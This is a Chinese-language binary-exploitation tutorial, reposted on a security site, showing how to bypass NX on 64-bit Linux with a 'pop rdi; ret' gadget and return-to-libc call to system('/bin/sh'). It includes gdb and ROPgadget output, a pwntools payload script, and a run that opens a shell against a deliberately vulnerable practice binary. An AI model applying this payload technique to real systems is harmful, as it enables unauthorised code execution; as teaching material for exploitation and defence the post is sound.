二进制安全之栈溢出(五)

admin 2022年5月17日03:09:36安全博客 程序逆向评论4 views3161字阅读10分32秒阅读模式

NX 不可执行是一项重要的漏洞利用缓解措施,为了绕过 NX 我们需要利用已有的可执行区域的代码片段来辅助完整漏洞利用。

这次还是需要禁用 ASLR,编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c

在 32 位系统中,函数调用参数都是通过栈来传递的,而在 64 位系统中,函数参数是优先使用寄存器来传递的,当参数少于 7 个时,参数从左到右放入寄存器 rdi, rsi, rdx, rcx, r8, r9,如果超过 7 个,剩下的参数还是使用栈来传递。

在 32 位系统中,因为栈是相对容易控制的,我们可以控制栈为函数参数的形式,然后覆盖返回地址为已有的函数地址,比如 libc 中的 system 函数,这样就可以实现任意命令执行了。但是在 64 位系统中,控制了栈是没有用的,必须要控制寄存器才可以,除非是函数不需要参数。所以我们需要找到一些已有的指令片段,比如 pop rdi,会把栈中的参数转移到寄存器中,这样逐步的控制所需的所有寄存器,我们称这种指令片段为 gadget。

需要什么

以执行 system("/bin/sh") 为例

  • system 函数的地址
  • 要执行的函数参数,这里是 /bin/sh,需要在内存中放置或者找到一个已有的。
  • 一个可以把 /bin/sh 放入 rdi 寄存器的 gadget。

system("/bin/sh")

system 函数的地址可以简单获得

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400550 <[email protected]>

而寻找 /bin/sh 可以使用 find 命令

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')

发现 libc 中有一个,而 student 内存我们可以控制,也可以自己放置一个,这次先使用 libc 中的。

gadget 的选择

我们需要一个能把 0x7ffff7b99d17 放入寄存器的 gadget

ROPgadget 是一个寻找 gadget 的工具,安装后可以使用下面的命令来寻找

可以看到结果是

➜  new ROPgadget --binary vuln | grep rdi
0x0000000000400803 : pop rdi ; ret

发现结果非常理想, pop rdi; ret; 可以复制参数到寄存器,其次是 ret 可以让程序再回到我们控制的地址上继续后续的执行。

shellcode

仿照之前的写法,我们很简单就可以写出 shellcode

from pwn import *
shellcode = "1925\n"
shellcode += "A" * (0x7fffffffe348 - 0x7fffffffe2f0)
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# /bin/sh
shellcode += p64(0x7ffff7b99d17)
# system
shellcode += p64(0x400550)

print shellcode

分析

这个栈布局已经是很清楚了

0016| 0x7fffffffe2f0 ('A' <repeats 88 times>, "\003\[email protected]")
0024| 0x7fffffffe2f8 ('A' <repeats 80 times>, "\003\[email protected]")
0032| 0x7fffffffe300 ('A' <repeats 72 times>, "\003\[email protected]")
0040| 0x7fffffffe308 ('A' <repeats 64 times>, "\003\[email protected]")
0048| 0x7fffffffe310 ('A' <repeats 56 times>, "\003\[email protected]")
0056| 0x7fffffffe318 ('A' <repeats 48 times>, "\003\[email protected]")
0064| 0x7fffffffe320 ('A' <repeats 40 times>, "\003\[email protected]")
0072| 0x7fffffffe328 ('A' <repeats 32 times>, "\003\[email protected]")
0080| 0x7fffffffe330 ('A' <repeats 24 times>, "\003\[email protected]")
0088| 0x7fffffffe338 ('A' <repeats 16 times>, "\003\[email protected]")
0096| 0x7fffffffe340 ("AAAAAAAA\003\[email protected]")
0104| 0x7fffffffe348 --> 0x400803 (<__libc_csu_init+99>:	pop    rdi)
0112| 0x7fffffffe350 --> 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
0120| 0x7fffffffe358 --> 0x400550 (<[email protected]>:	jmp    QWORD PTR [rip+0x200aca]        # 0x601020)

在 GDB 中运行,可以看到 /bin/dash 被执行,其实 /bin/sh 就仅仅是它的一个符号链接。

gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
0x7fffffffe2f0What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
[New process 4824]
process 4824 is executing new program: /bin/dash
[New process 4825]
process 4825 is executing new program: /bin/dash
[Inferior 3 (process 4825) exited normally]
Warning: not running or target is remote

会发现两个 /bin/dash 的原因是 system 函数的原理是 /bin/sh -c $cmd,所以会先启动一个 /bin/sh,然后 execve 想运行的命令,这里还是 /bin/sh

因为禁用 ASLR 的原因,libc 的加载地址不变,这个 shellcode 也是可以直接运行的

➜  new (cat in.txt; cat) |./vuln
0x7fffffffe360What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
id
uid=1000(virusdefender) gid=1000(virusdefender) groups=1000(virusdefender),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

当然这个 gadget 也不唯一,比如 python Ropper.py --file /lib/x86_64-linux-gnu/libc.so.6 --search "pop|call" 得到的 0x00000000001073d9: pop rax; pop rdi; call rax; 也非常好用。

参考

FROM :strcpy.me | Author:strcpy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日03:09:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  二进制安全之栈溢出(五) http://cn-sec.com/archives/1013316.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: